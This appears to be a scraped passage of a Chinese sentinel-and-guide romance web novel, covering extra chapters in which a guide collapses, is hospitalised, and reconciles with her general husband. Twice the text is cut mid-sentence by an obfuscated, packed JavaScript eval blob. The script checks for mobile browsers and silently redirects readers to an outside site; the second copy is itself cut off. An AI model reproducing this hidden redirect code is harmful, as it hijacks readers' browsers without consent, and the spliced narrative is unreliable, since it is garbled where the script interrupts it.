手术结束后,她曾有过好几次精神力剧烈波动,不过都在加大药量控制之后平稳渡过了,而这一次口服的药剂像是失去了作用,她有种不好的预感,也许这次的失控会来得比之前几次凶猛。 好在韩奕马上要回公会工作,那段时间她找了一些借口躲避丈夫的视线,比如店内要搞一场持续七日的情人节活动,需要加班加点如此云云。 自从婚后搬回罗赛利亚,他们的感情就逐渐趋于稳定,韩奕也开始试着放下心中的不安与焦虑,不再派人牢牢看着她。他的状态好不容易松弛下来,她不想让他为自己担心。 才度过了一场柔情蜜意的蜜月,上将并没有怀疑他的爱人,只是叮嘱她注意休息、不要太累,就启程回公会了。 她也确实没有骗他,店里搞的情人节活动是真的,只是店主玛希知道她最近身体不适、帮她打着加班的掩护,实际上收留在店里休息。玛希的年纪没有比顾小绒大很多,她说自己的母亲也是向导,所以多少可以体谅。在这期间,甚至有好几次都是她和其余店员轮番陪着顾小绒去中心医院进行治疗。 遗憾的是,中心医院向导神经科的主任不在,似乎是去参加学术会议去了,只留下几位年轻的医生坐诊,他们倒是都给顾小绒调整了方案和药剂,只是效果仍旧不太理想。 事情发生的那一天也是一个阳光晴丽的正午,活动持续到了第三天,正是如火如荼的时候。玛希与店员们都在外面忙着,顾小绒独自一人在店后的宿舍里休息,大约是睡了太久,她感到口干舌燥,想起来喝口水。 宿舍是面积不大的小两层,上面是床铺,下面是活动区,由一段陡峭狭小的楼梯连接。这段时间接连加大的药量已经让她昏昏沉沉,在走下第一节楼梯时,她就感到一阵强烈的晕眩,整个人像是被拉入一场旋涡般失去了平衡,她根本没来得及控制住身体,头便朝下重重栽倒,意识随即陷入一片黑暗。 等到再次睁开眼时,顾小绒人已经在病房了,她感到右眼一阵剧痛,伸手摸了摸,发现那里被包着一层厚厚的纱布,应该是自己晕倒的时候磕破了。 阳光仍旧还是那样明亮地从百叶窗中渗透进来,这让顾小绒有了一种时间似乎没过去多久的错觉,不过出于谨慎,她还是在缓过疼痛后摸向了自己的通讯器。 她记得自己在店里的时间应该是2月16号13点20分左右,而现在,通讯器屏幕上毛骨悚然地显示着2月17号14点35分。她只觉背后一凉,随后韩奕的信息与未接电话就如同雪崩一般将她淹没。 向导瞬间渗出了一身冷汗,窗外炎炎的日光也仿佛坠入了寒冬,她艰难地吞咽了一口唾沫——这个细微的动作扯动了眼角的伤口,将她的眼睛连同整个头都带动着痛起来,剧烈的疼痛与晕眩感让她根本无法冷静下来思考对策。她已经失联了整整25小时,这时候如果再试图用任何借口搪塞韩奕都无异于找死。 她还没有从这场慌乱与疼痛中思考出对策,病房的门就被缓缓打开了。 上将正身着军服、侧身而立,身后是整齐列队的哨兵与向导,另一侧则是那位迅速赶回的神经科主任医生、以及军区医院向导神经科的数位权威专家。 顾小绒缓慢地收回了视线,悬着的心终于死了。 韩奕看上去神色冷静,在他的授意下,帝国神经科的顶级权威们鱼贯而入。这整个过程中,上将都平静得可怕,那双冷黑的眸子不带分毫情绪地看着她,好像她是某个流程正常的文件。如果不是她对他有足够的了解,她也许真的会把自己当做一个文件,然后悄不吭声地埋回文件堆里。 可遗憾的是,但凡是任何对上将稍有了解的人,都不会想要看到他此时这样的神情。韩奕的面容冷寂到像是冬季最深处凝结的湖泊,锋利的五官将光影切割分明,冷厉的眉眼散发着一股淡淡的寒光,仿佛利刃缓缓出鞘。 顾小绒像鹌鹑一样把自己埋进被子,她一句话都没听进去医生问了什么,只闭眼等死。 长久的沉默后,她听到上将对左右命令道:“立即转到中央公会军区医院。” 上将的语调同往常一般威严冷然、不容辩驳,军服强化了他的气场,现场只余下令人窒息的寂静与服从,医务人员拆卸仪器的声音随即窸窣响起。 顾小绒对韩奕的决定十分讶异,中央公会军区医院是向导精神力治疗的权威这不假,可是她情况特殊,理应尽量避免与公会接触,以防暴露身份。 更别提现在她的整个右眼都被纱布包着,伤处才被缝合上,还没能完全消肿,无法佩戴纳米面具。 只是以此时的情况来看,她大概也没法提出什么抗议,上将在下完命令后就转身离开了她的视线,很快她便被挪上了可移动病床、送上了早已在停机坪上等待的军机。 莉莎退役后,上将的随行文职人员换做了一位名叫许昱的小伙子,他虽然年轻,但行事妥帖、滴水不漏。比如现在,在距离地面的万里高空上,他也不知道是从哪里弄出了好几份清淡的汤和粥来递到顾小绒面前,在病床上架起桌板、铺上垫子,动作熟稔又麻利。 “夫人,您已经二十多个小时没有进食了,请先吃点东西。”他甚至还打开了一个保温水壶替顾小绒倒上,滚烫的水在杯子里冒着热气。 “谢谢你。”顾小绒欠起身子,这才感觉到因为过度饥渴,她确实有些没有力气,她随后问道:“你们什么时候到的?” “昨晚半夜就到了……”许昱压低了声音,目光朝着前方一墙之隔的机舱瞟了瞟:“等到您醒过来,上将才让转院的。” 不难想象,在深夜12点还没有收到顾小绒信息的韩奕,是怎样兴师动众地从中央公会赶了回来……顾小绒叹了一口气,右眼似乎已经适应了伤口的疼痛,变得有些麻木。 因为自己的突发情况,昨晚大概牵连了相当一部分人没能睡上觉,她抱歉地对许昱说道:“给你们添麻烦了。” “夫人您言重了!”小伙诚惶诚恐地绷直了身子,他没有待太久便去了隔壁机舱,因为昨晚的突发情况,上将累积了相当多的工作需要处理。 她又回到了熟悉的中央公会,那个她反复思念又不能再踏足的地方。 许昱需要跟着上将工作,于是陪护顾小绒的换成了两位女性哨兵与她们的向导,她们间隔一天轮番在医院值守。说得好听一些是陪护,说得不好听一些,是她与韩奕的关系重新回到了原点。 因为曾经的欺瞒与背刺,他们彼此之间那份岌岌可危的信任再次坍塌破碎,而这一次,应当是碎得尸骨无存。 办理住院手续并没有花费太多时间,那天下午他们还刚好遇上了公会大规模的抵抗训练,整个军区医院人仰马翻,塞满了受伤的哨兵与向导。顾小绒在这样的场景下,就仿佛是一颗平平无奇的露水,悄无声息地融进浩渺的湖泊里。她的担心多余了,这里的哨兵与向导太多,换了一拨又一拨,没有人会记得一个曾经在这里服役过的普通中尉。 熟悉的环境让顾小绒感到安心,无论过去多久,中央公会也仍旧是她精神上的故乡,此时此刻她重新回到这里,仿佛是婴孩重新回到了母亲的怀抱,她永远可以从这片熟悉的土地上重新恢复勇气。 只是有一件事是让她有些难受的,自从转院的那天起,她就再也没有见到过韩奕,他就像是在刻意疏远她似的踪迹全无。 只要他真的生气,即使是有禁制环在,她也摸不到他衣服的一角,从以前开始就是这样。 到了第三天晚上,顾小绒眼角的伤口被重新拆开清创,换成了更小一点的纱布。韩奕并没有明确手下值守的时间,但两位哨兵女孩还是会兢兢业业地守满24小时,晚上基本就在一旁的陪护床上休息。 上将来得猝不及防,他进门的时候,哨兵女孩正斜倚在顾小绒的床边,向导则躺在陪护床上,几乎四脚朝天。 四双眼睛在定格下来的空气中尴尬地碰撞到一处,下一秒两位年轻人就一个打挺起身立正,五指并拢手心朝下笔直地行了个军礼。 “可以了,回去休息吧。”韩奕淡淡吩咐道,在两个年轻人如获大赦地告退后,缓慢地脱下了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16055924|179099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 军服。 虽然他们彼此之间分隔也不过一星期,可顾小绒却觉得度日如年,她现在十分窘迫,也还没有想好怎么和韩奕开口,是直接道歉还是和他解释原因。 上将的神情仍旧淡淡的,他换上了一身深灰色的常服,将军服挂到了门后的衣架上。 时间已经到了晚上九点,韩奕仍旧带着一大叠的文件与手提电脑,看上去还有很多工作要完成。 护士轻轻敲了下门,打断了这片难捱的沉默,顾小绒现在的药物需要从口服升级到脊椎注射,每晚九点护士都会准时过来。在请示过长官后,护士才将顾小绒的长发束了起来,注射的位置仍旧是后脖颈处,她已经连续注射到第三天,白皙的后颈已经留下了一大片乌青。 在注射的时候,韩奕放下了病床旁的帘子,像是有意回避一般将自己与她隔离开来。 “请简述一下药剂注射史。”霍顿是军区医院向导精神力治疗方面的首席专家,也是这个领域的绝对权威。 “致幻剂……”顾小绒小声答道。 “软化剂。”上将开口补充。 “药量与持续时间?”医生抬起眼,示意身旁的助理医师继续记录。 “不,不知道……”顾小绒手心冒汗:“但有持续注射过挺长一段时间。” “软化剂曾持续注射110小时,共计28针、42毫升。”韩奕清晰地报出了一串确凿的数据,连顾小绒本人都有些惊异地抬起了头。 她那时候被折磨得昏昏沉沉,哪里能记得被打了多少针,至于致幻剂,那更是无从知晓,也许只有晏泽和斯特兰加在一块才能将这个数据准确地报出来。 如今晏泽已经“死了”,斯特兰也病退回了泽卡,但是看韩奕此时的眼神,好像即使晏泽和斯特兰已经埋进土里,他也会把他俩一起挖出来。 好在医生并没有过多纠结于确切的注射量,只是用深切的眼神注视着顾小绒:“按照你所说的致幻剂注射量,即使是以最轻微的当量推算,你的身体也很难存活到现在。” 顾小绒的身子触电般的一紧,几乎是下意识想要捂住脖子后的编码,她曾今的躯体确实已经死去,即使是换了新的躯体,致幻剂造成的巨量伤害也仍旧没有平息。 “软化剂的注射与她现在的情况有关联吗?”韩奕面色苍白地问,在医院的冷色光照下,他深黑的瞳仁一片晦暗。 “不能说毫无影响,但更多的破坏性仍旧是致幻剂造成的。”霍顿很显然不清楚他们彼此之间发生过什么,给了上将一个客观的答案,尽管这并不是后者想要面对的。 哨兵分明而修长的手紧紧攥起,凸显出狰狞的青筋,骨骼也在收拢的同时发出可怖的声响。 漫长的煎熬与自我折磨后,他的判决终于落下了,哨兵发不出一丝声息,只能紧紧咬住下颌。 医生与护士都完成了他们的本职工作,现在整个病房再次恢复了寂静,变成了只有他们二人的囚笼,或者准确来说,是韩奕一个人的囚笼。 除了把顾小绒移到军区医院之外,他没有任何别的办法,因为只有这里有最好的医疗条件,除此之外,他最近也刚好在中央公会,可以在忙完工作后过来照顾她。 韩奕只有在工作的时候拥有军衔与特殊身份,而此时此刻、在顾小绒面前,他只是她的丈夫。虽然以他曾经的所作所为,他已经没有底气认定自己还能担当得起“丈夫”二字。 他是气她生病瞒着自己,险些酿成大祸,可到了最后,他也不得不面对自己才是这一切罪魁祸首的事实,毕竟,是他亲口下令将软化剂注射进她的身体。 韩奕的头无声地低了下去,深黑的发丝垂落下来,将他的眉眼覆盖。 那一刻,他觉得只要自己活着,就永远无法从那场噩梦中解脱出来,因为他无法原谅自己,他将永远把自己钉在十字架上。 剧烈的痛苦毁天灭地的袭来,将他撕裂贯穿。而在下一秒,上将的通讯器就响了起来,他得以撑起身子离开病房,离开她的视线范围。 只要再耽误半秒,他就会在她面前崩溃,而他无法允许这样的事发生。 如果必须有一个人被困在原地接受惩罚,那么这个人只能是他自己。 86. 番外二[番外] 在准备了好几份道歉的方式后,顾小绒忽然发现,比起这个来说眼下更重要的事应该是见到韩奕。因为自从昨晚开始,她就只匆匆见到他一眼,连话都没说上一句,上将就又公务缠身出去接电话了。 顾小绒想要尽快结束现在的状态,毕竟冷着脸的韩奕比他直接生气更加可怕。 第二天晚上韩奕在八点就赶来了医院,不过与此同时他身边还带着许昱与成堆的文件,护士又刚好在查房的时候发现了顾小绒被冷汗浸透的纱布,准备给她重新清创包扎,看上去道歉的事情只能再往后移。 在同一个病房内,她与韩奕被帘子一分为二,护士在这一侧替顾小绒清创,许昱陪韩奕在另一侧办公。 韩奕筛选了机密程度最低的文件带回来办公,都是一些无关紧要的程序文件与繁文缛节。寂静的病房内,唯有纸页翻动和钢笔书写的细微摩挲声,韩奕和许昱的工作配合已十分默契,有时候只是上将的一个眼神,小伙子便能立即会意他需要的是什么。 而在另一侧,顾小绒忍着疼接受护士的清创,额角的伤口距离眼睛太近,那里的皮肤薄且敏感,眼睛在灼痛的刺激下不断往下淌着泪。这段时间,冷汗和泪水常常渗透到伤口处,尽管她已尽力忍耐,但还是在一次不算轻的碰撞中“嘶”了一声。 上将的眼睛在浏览文件的途中停留了一瞬,许昱紧张地抬起眼,长官这段时间以来一直被笼罩在某种低气压的焦躁状态,这让他们这些手下做事的也感到十分艰难。 曼琳上校和布雷塔妮上校显然在这方面更具经验,只要遇上韩奕心绪不佳的时候,她们都会默契地选择回避,再随机挑选年轻的倒霉蛋负责上门传递文件。 通讯器的屏幕亮了亮,应该是有哨兵和向导等候在外,因为不敢敲门,只能给许昱发消息。小伙只瞥了长官一眼,就机智地摁熄了屏幕,现在这个节骨眼还是不要闯进来比较好。 他能明显感觉到,在刚才顾小绒低哼了一声后,上将的情绪更加压抑了,紧蹙的眉宇使他看上去神色冷厉,仿佛氤氲着一场不可预知的风暴。 而事实上,哨兵的感知比他更加细致,他可以听见顾小绒的每一次呼吸,听到她因为忍痛而屏住的气息,甚至是细微颤抖的气流,他能闻见空气中淡淡的冷汗与血交织的味道,还有碘伏、药剂与纱布冰冷的气味。 这种对于哨兵而言一夜之间就能痊愈的伤口,如今却顽固地停留在顾小绒身上,时间的流逝变得如火灼烧般煎熬,韩奕在文件上落下一道又狠又重的签字,笔锋如刀一般几乎将纸的边际划破。 许昱胆战心惊地接过了上将最新签署的文件,他在同时听见了护士完成工作收整工具的声音,棉签和药剂被放进托盘里,发出清脆的声响,随后结束了任务的护士便离开了病房。 房门一开,五六位等候在外的哨兵与向导便被长官一览无遗,许昱尴尬地抬起头,双方面面相觑。随后,在上将的许可下,他们才抱着文件鱼贯而入,在一片压抑的寂静中完成了批示与工作。 持续好几日的阴云笼罩着军部上下,终于有一天,那位陪护顾小绒的哨兵女孩忍无可忍,在向导的万般阻拦下还是开口问道:“夫人,我想问问……您和上将这是在冷战吗?” “啊?”顾小绒有些艰难地抬起头,虽然不想承认,但事实似乎确实是这样。关键是,她也实在是找不到和韩奕独处的机会,她总不能把自己准备的道歉草稿当着许昱的面说出来吧…… 也许她的神情看上去过于无辜,同她们这些普通士兵也并无不同,哨兵女孩任命般地叹了口气。 抱歉,让她们失望了,顾小绒心里想着,自己曾经也同她们一样,只是一个人微言轻的普通士兵而已,虽然现在这样的境况似乎也没有改变太多。 哨兵女孩似乎对她的反应有些意外,也许她还没有见过眼前这般狼狈的“夫人”——顾小绒的眼角已拆了纱布,红肿和青紫却还是没有完全消散,看上去是标准的熊猫眼。 女哨兵攥着拳沉默了许久,最后还是忍无可忍地憋出一句:“要是我以后的老公敢这样对我,他就死定了。” “很好凯莉,你的职业生涯从现在开始玩儿完了。”她的向导拦不住她,直接选择了放弃。 “去他的。”女哨兵气哼哼地冷着脸:“那又怎么样,就是天塌下来我也要说,大家都要被逼疯了,你不觉得吗?里昂。” 被点了名的向导被迫摊了摊手,说来也怪,迄今为止上将并没有对他们任何一个人发火,可是所有的人都被那股无处不在的强大气压笼罩着,只觉如芒在背。 韩奕现在的状态十分微妙,他看上去确实压着一股火,却没有真的将顾小绒弃之不顾,不知是出于责任还是什么原因,上将仍旧会在每天结束繁忙的工作后抽时间来医院陪她。可若说是他已经消了气,她却还是连他的衣角都碰不着。 顾小绒对气头上的女哨兵露出一个歉意的笑,做为始作俑者,她已经失去了对局势的掌控。上一次把韩奕惹成这样是什么时候,她都快忘记了,仔细想想……似乎是她花了半个月薪水给周烨送花的时候?难道从那时候起韩奕便对她有了心意?可她又怎么知道呢? 不对,自己对周烨清清白白,根本不是那么回事,又为什么要解释……算了,顾小绒的内耗戛然而止,反正到最后,还得是她去哄他。 情况不能再这样持续下去了,顾小绒想着,她宁愿韩奕对她大发雷霆,也好过现在这样如坐针毡,很显然眼前这些可怜的年轻人也是这样想的。于是她打定了主意去抓一个与韩奕独处的机会,毕竟许昱也不可能24小时待在上将身边。 她的计划进行的不是很顺利,接连注射药物的身体时常撑不到上将回来,而每次到了第二天上午,对面的陪护床就已经被叠得整整齐齐,那棱角分明横平竖直的被子显然是韩奕的手笔,看样子他已经离开医院去工作了。 顾小绒茶饭不思地挨到了中午,她拿出通讯器,想要给韩奕发一些信息,但又害怕会打扰到他工作。毕竟这个时候,军部上下各处的信息都在对着韩奕狂轰滥炸,还得许昱帮着分类处理。几番犹豫后,她还是放弃了这个想法,毕竟他已经够辛苦了。 而到了下午,一直隐隐坠痛的小腹终于找到了破口,生理期汹涌而来,顾小绒这才明白为什么这次的精神力失控如此严重。 她的生理期向来不准时,手术后的身体情况也断崖式的下跌,这让她习惯于忍受一些并不严重的小病小痛。她的生理期反应一直都很大,在这个时期遇上精神力失控,无疑会将本就不好的情况推到更坏的地步。 到了下午四点左右的时候,顾小绒迎来了此次精神力失控的极值,她失去了意识、陷入昏迷。 也许是因为曾经完整地经历过“逸散”的过程,在深度昏迷的过程中,她仍旧可以感知到一部分周遭的环境,比如此时,她知道自己躺在森冷的手术室。她意识到自己应该是在被抢救,因为精神力的不稳定,她能感知到的画面也是混乱且片段的。 这已经不是她第一次被抢救了,即使是在昏迷中,向导仍旧保持着稳定的意识,她知道自己只是需要从现在的抽搐与痉挛中平静下来。军区医院汇聚了全帝国上下最优质的医疗资源,她的状态很快被控制住了。 再次睁开眼时,她像是从一个漫长的梦中醒来,周遭温暖而坚实,充满了熟悉的令人安心的气息、是雪松的味道。 韩奕正将她环抱在怀里,此时已是深夜,漆黑的病房中唯有仪器闪烁着微光。他的侧脸被映照在这片暗淡的光影里,看上去憔悴而疲惫。在她醒来的那一刻,韩奕便睁开了眼,那双深黑的眸子充斥着血红,不知道熬了多少个日夜没有合眼。 那个前一天还山雨欲来、遥不可及的爱人,此时已紧紧地依偎在她的身边,难比登天的道歉计划似乎也没有了实施的必要。 那一刻,顾小绒的不安与内耗全都烟消云散,但她到底才经历了一场剧烈的混乱与消耗,实在没有力气说话,只能竭力地伸出手,想摸一摸韩奕的脸。 她绵柔的手被哨兵宽大的掌心接住,指尖碰到他微凉的唇,她这才感觉到他竟然在细微地发着抖。 “难受吗?疼吗?”他急促地发问,声音低沉而暗哑。 她摇摇头,随后被他细密地吻过指尖。韩奕的面容隐藏在黑暗中,她看不见他的神情,可他的声息却无法克制地颤抖着,心脏像是被碎裂成千万片,又被一点点捡拾、缝补了起来。 “对不起……”许久后,深黑的夜色中传来韩奕嘶哑的低语,他吻着她的额间,像是受伤的兽类舔舐着伤口。 “对不起。”他紧紧抱着她,恨不能将她揉进自己的骨血里。 这不是韩奕第一次目睹顾小绒被抢救,在她寻死的那个夜晚,没有人知道他经历了什么。时间从没有如此缓慢而痛苦地碾磨着他,他目送她被推入手术室,从太阳落山直到晨光微明。 他孤独地等候在外,被亿万根尖刺缓慢地撕裂着,他等待着结局、等待着对他的审判。他的身上还残留着她的血迹,从那以后,他的余生仿佛都被那股萦绕不散的血腥与苦涩笼罩。 哨兵控制不住地收紧了拥着爱人的手臂,他的胸膛急剧起伏,像是被勒住了一般无法喘息。 他不该离开她的身边,一分一秒也不该,只要一想到她病发时孤身一人,他就心如刀绞。 韩奕知道自己不是一个合格的伴侣,在顾小绒生病的时候,他甚至都无法疏解好自己的情绪,明明又急又痛,却偏偏看上去心冷如铁,让她忧心忡忡、惴惴不安。 他不会表达自己的情绪与感知,漫长的军旅生涯给予他的只有武器般的冷硬。他也不会表达他的情感与关心,更多时候他的在意对于她而言更像是监视与压力。 他想要去做一个好 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可此时此刻,这样一个人却在她的面前无声的崩溃了,那颗一直以来坚如磐石的心破碎得不成样子,连带着他的心脏与血肉都一并撕裂开来,袒露在她面前。 这时的顾小绒只要开口,他怕是什么都愿意替她做。只要她一难受,他就无法思考,他会和她道歉、低头求她,他会为她做一切事、什么都听她的。 看来即使再来第二次、即使此时的自己还是间谍,韩奕也仍旧无法对她下手。无论重来多少次,他都会心甘情愿地折她的手里。 “我的意见是……如果不稳定的情况持续下去,最好还是转移到白塔。”霍顿提了提鼻尖的金属眼镜,反射出一道雪亮的白光。 白塔是专门用来安置失控向导的地方,与控制哨兵的禁制塔相对应,因此禁制塔也被称作“黑塔”。 不过向导的精神力可以被特殊材料阻隔,因而危险性远远低于哨兵,白塔大多数时候都是更温和的疗养场所,里面配置了适合向导的舒适封闭环境、以及更为长期的医疗配置,有相当一部分的失控向导被家人托付在里面长期疗养。 毕竟,军区医院无法太长时间收留久治不愈的病患,而被派来值守的哨兵与向导也不是专业的医务人员,这里没有白塔那样长期疗愈的场地与条件。 而且很显然,上将还需要兼顾工作,在顾小绒抢救后昏迷的两天一夜里,韩奕一刻都没有合过眼,谁都能看出他已经濒临极限。 现在他已是她的合法伴侣,可以在医生的证明下决定她的治疗方式。 “不。”回应他的是上将短促而冷硬的音节,他不会让她去那里,也不会让她离开自己的身边,再也不会。 可下一刻,上将的眼里罕见地浮现出一丝晦涩与踌躇,他意识到自己没有经过顾小绒的同意,又径自替她做了决定。还好在生理期过后,顾小绒就挨过了最艰难的时刻,她的精神力失控从峰值跌落回来,渐渐回到了稳定的状态,已经可以出院。 “就在这里,等我一段时间好吗?”离开军区医院的清晨春寒料峭,韩奕将外套轻轻披在顾小绒身上,替她仔细扣上。 在这之前,他已就白塔的事征求了妻子的意见,也许他曾经不是一个很好的爱人,可他会一点点去改。 顾小绒抬起头,目光细细描摹过丈夫的面容。在她生病的这半个月,韩奕一直寸步不离地守在她的身边,还要兼顾工作,已经累得瘦了一圈。如果自己可以去白塔静养,他一定可以更轻松些,可她知道那不是他想要的。 “好,我在这里陪你。”她有些想念那个记忆中熟悉的房间,白色柔光的墙壁与玄关处潺潺的流水声,这让她像是回到了从前,那是她最意气风发的岁月。 “所以……”他将她拥进怀里,用力到她几乎骨骼发痛:“以后如果有什么事,不要再瞒着我了……” “好,知道了……”她忙不迭点头,这才把自己从丈夫过于紧-窒到怀抱中解救出来。 斯特兰退役后不久,维多利亚上校顺利晋升到了少将的位置,成为了韩奕麾下最得力的干将之一。 而此时,新晋不久的维多利亚少将才忙完南境的工作,一回来就又被上将拎到了中央公会,她的眼下还挂着长途飞行与出差留下的黑眼圈。 毕竟上将分身乏术,工作上很多事需要属下分担。 曼琳上校与布雷塔妮上校倒是已经适应了眼前的工作强度,毕竟再难也不会难过战争时期了,对于她们而言,无非就是堵长官的难度又再次提升了而已。 至于长官在哪呢,根据不靠谱的桃色小道消息,应该是守着他的宝贝爱人吧。 是与不是都无所谓了,总之这都不是社畜应该关心的事。曼琳打了个喷嚏,把自己重新埋回文件堆里,如是想到。 (番外:隐瞒 完) 87. 番外三[番外] 夜雨细密地落着,潮湿闷热的气息从窗户的缝隙中涌入,平日里普通的声音在此时仿佛被无限放大,哨兵蹙眉关上了窗子。 自顾小绒上一次精神力失控已过去了2个多月,在此期间她的状态一直平稳,韩奕也忙完了手里的工作,他们从中央公会回到了罗赛利亚的家里。 暖黄的光晕填满了浴室,却没有丝毫的温度与热意,玻璃墙面上浮现着一层薄薄的雾气,不是因为温暖,而是因为寒冷。 韩奕将自己放置在冰水里,水面几乎在汇聚起来的那一刻便凝起了薄薄的浮冰。 这段时间以来,他真切地体会到了顾小绒断崖式的身体素质降低,医生的预感没有错,高阶哨兵对自身悬殊的力量习以为常,在这一方面几乎没有认知。 尽管韩奕已十分小心,但还是常常将顾小绒弄伤,有时候甚至会让她两天都下不了床。而现在她的精神力虽然稳定了下来,身体还是十分虚弱,时常犯困、嗜睡、畏寒,在韩奕热到什么都不想盖的时候,她还需要从头到脚裹着薄毯。 冰水使燥热的身体缓缓冷却了下来,心底的空虚却仍旧像是黑洞一般将他吞噬。 哨兵闭上眼,回想着爱人身上淡淡的荔枝味,呼吸逐渐变得急促。因为精神力的切割,他已经很久没有闻到她的向导素了,很长一段时间以来,只有在最原始的交融里,他才能与她产生短暂的精神连接。 极淡的荔枝味会在那个时候被释放,滚烫、潮湿、嫣红而晶莹,饱含着露水盛放开来,就像他身下的她。 一声近乎于无的闷哼终结了旖旎的记忆,雪松味的信息素浓烈地充斥了整个浴室,哨兵的胸膛缓慢地起伏着,将冰凉的空气吸进肺腑。 即使已经成为了完全体哨兵,韩奕也仍旧无法控制住自身本能的渴望,因为顾小绒的特殊情况,他几乎长期处于精神力与身体的双重干涸状态。 她像是一颗散发着香气的甜美果子,无时无刻不让他渴望,有时候他甚至无法分辨这样的渴望是源自于哨兵的本能还是男人的本能。但无论如何,这种被低级的欲-望所支配的感觉让他痛恨自己。 在彻底冷却下来之后,韩奕才将湿透的头发吹干,穿好睡衣回到卧室。 顾小绒已经睡着了,卧室窗帘没有完全合上,夜雨与乌云已将月光完全遮蔽,只剩院里的灯光斜斜射入,透过乳白的薄纱落在她熟睡的面容上。 她的身上有淡淡的皂角香,还有一股若隐若现的铁锈味,久经沙场的哨兵对此再熟悉不过,那是血的味道。下一刻他便悄无声息地上了床,将睡着的爱人搂进怀里,他将鼻息深埋在她的鬓发间,任由那股温热的血腥味将自己包围。 这是顾小绒渡过的第二个平稳的生理期,韩奕将她的状态与日期仔细地记录了下来,直到确定她的生理期已到尾声、且精神力仍旧平稳,他一直悬着的心才堪堪放下。 哨兵的五感极其敏锐,在正常情况下,对于常人来说都有些刺鼻的血腥味对他们的杀伤性更大,而因为身体虚弱、经常卧病在床,顾小绒的身上也常常会有冷汗的味道,总之,没有一样是与美好沾边的。 可是韩奕却将自己深埋进她的鬓发里,他难以控制地环抱着熟睡的爱人,手臂的肌肉紧绷到一个近乎颤抖的弧度,他想将她揉进自己的身体,又怕把她弄痛。 他其实并不是喜欢荔枝味,只是因为那恰好是她的味道。同样,顾小绒一直以为他喜欢吃草莓奶昔,可实际上他只是喜欢她给他做的吃的。他眷恋着她的一切,无论是好是坏,无论是否变化。 微光下顾小绒的睫羽正随着呼吸缓缓颤动,韩奕感觉到被冰水冷却过的身体又开始逐渐燥热,他在她温热的额前落下一吻,随后闭眼将她抱住。 就这样,到此为止。 韩奕闭上眼,压抑住体内翻涌的热潮。 潮湿的雨季继续悄无声息地绵延,严格静音的建筑体应付这点小雨绰绰有余,甚至连晚上的雷鸣也能完全屏蔽,韩奕的睡眠情况又逐渐稳定了下来,不过不完全是因为静音。 从每一个支离破碎的噩梦中惊醒时,哨兵都环抱着爱人温软的身体。顾小绒已经习惯了被丈夫拥着入睡,银色的发丝流瀑般淌过二人紧紧相依的身体,韩奕只要一低头,便能触碰到她的额头。 因为体质的下降,顾小绒每天都需要相当时间的休息,睡着后也很难醒来,可能她自己也不知道,即使是她睡着什么都不做,也足以将韩奕从如影随形的黑暗中解脱出来。 虽然韩奕日常没有太过丰富的表情,但出于熟悉,顾小绒还是能感觉到丈夫细微的情绪。自从她上次抢救后,韩奕变得更加沉默,有时候甚至会与她拉开一些距离。 他会自己去消化掉那些过于负面的情绪,有时候会因为过于克制而显得有些疏远,但无论如何,他不想再做一个糟糕的伴侣。 不过上将的精神体有它自己的想法,与韩奕刻意而为的疏远不同,在相当一段时间里,黑豹总是围着顾小绒蹭来蹭去,即使她已看不见它,但仍旧能听见兽类滚烫的气息与贴近的踱步。 直到有一次,顾小绒在下楼时被黑豹用力一顶,差点从楼梯上摔下来,上将终于忍无可忍,一脚将大猫咪踹飞了出去,顾小绒只来得及听见一声短促的呜咽,在那之后,韩奕也不再将他的精神体放出来了。 下雨的时间越来越长,雨滴一点点灌入嫩绿的草丛、漫入潮湿的土地,水洼倒映出朦胧的光影,在淋漓中越积越深。 “最近是不是哪里不舒服?”顾小绒寻了个机会对丈夫表达关切:“要不要找一位向导过来……做一下精神疏导?” 精神力之于哨兵,如同水之于鱼,即使鱼可以脱离水活下去,也仍旧无法控制住对水的渴望,她理解这一点。 尽管她已极其注意语气,上将仍旧停下了手中正在切割牛排的刀叉:“没有,不需要。” 一如既往简洁冷利的回复,如果她还保有完整的精神力,一定能感觉到对方此时迫人的信息素。 像是意识到自己刚才的回答太凶,韩奕顿了顿,调整了一下语气:“向导很紧缺,应该分配给真正有需求的哨兵……” 他不想要向导,他想要她。 深黑的眼眸扫过眼前的餐盘与杯盏,隔着半张桌子的距离,哨兵敏锐地感知到了牛腩粥还有一些烫,而红枣牛奶已经有些凉了。 “我把牛奶热一热。”他站起身来,放下手里的餐具:“慢点喝粥,小心烫着。” 关心无果,顾小绒只能曲线救国,想点别的。 “情侣30题?”韩奕关上车门,面露惊异地看着顾小绒发给他的链接。 “嗯呢。”顾小绒点点头给自己扣好安全带,躺了两三个月,她实在是闷坏了。 若是在以前,韩奕绝对不会同意她在下雨天出门,可这一次,面对大病初愈的爱人满含希冀的眼睛,他还是选择了妥协。 即使是下着雨,中心商圈的热闹氛围也没有被冲淡,这里到处都是打扮新潮的年轻人,各类节日与表演也仍旧照常进行,只是从室外挪进了室内。 他们要做的第一题是挑选一份情侣物品,在看过了饰品店、手表店后,顾小绒状似无意地拐进了一家电子产品旗舰店,在“漫不经心”的挑选后看中了一款情侣手环,表带是最流行的豆沙绿,也可以换成其他颜色。手环不但可以检测血压、心跳等数据,还能彼此关联信息与定位。 店员看出了顾小绒的中意,十分热情地推荐着,韩奕终于明白了什么,紧抿的唇微微扬起一丝弧度,转身去结了账。 买单后,顾小绒就高高兴兴地给自己带上了,并且三下五除二地将自己的数据传给了韩奕,从这之后,他无论身处何地都能看见她的状态。 韩奕知道这是她变着花样地想哄自己开心,也许是自己的演技仍旧过于拙劣,她又一次看破了他的患得患失,于是选择用这样的方式让他安心。 帝国有一个流传甚广的冷笑话:在艾泽洛瑞恩,人们只给两种东西栓绳子:狗和哨兵。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 